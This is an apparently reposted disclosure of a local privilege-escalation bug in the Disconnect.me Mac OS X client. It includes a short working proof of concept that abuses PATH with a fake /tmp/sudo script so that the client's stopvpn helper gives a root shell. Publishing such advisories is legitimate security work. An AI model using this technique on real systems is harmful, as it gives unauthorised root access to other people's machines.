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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Disconnect.me is the search engine entrusted by the Tor Browser.
 
Unfortunately, the Mac OS X client has an LPE to root vulnerability (0day).
 
Original Download <= v2.0: https://disconnect.me/premium/mac
 
Archived Download: http://d-h.st/LKqG
 
Disconnect+Desktop.pkg: sha256 = bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7
 
https://www.virustotal.com/en/file/bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7/analysis/
 
PoC:
"""
$ id
uid=501(...) gid=20(staff) ...
$ cat /tmp/sudo
#!/bin/bash
/usr/bin/id
/bin/bash
$ chmod +x /tmp/sudo
$ PATH=/tmp "/Library/Application Support/disconnect/stopvpn"
uid=0(root) gid=0(wheel) ...
# /usr/bin/whoami
root
"""
 
--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen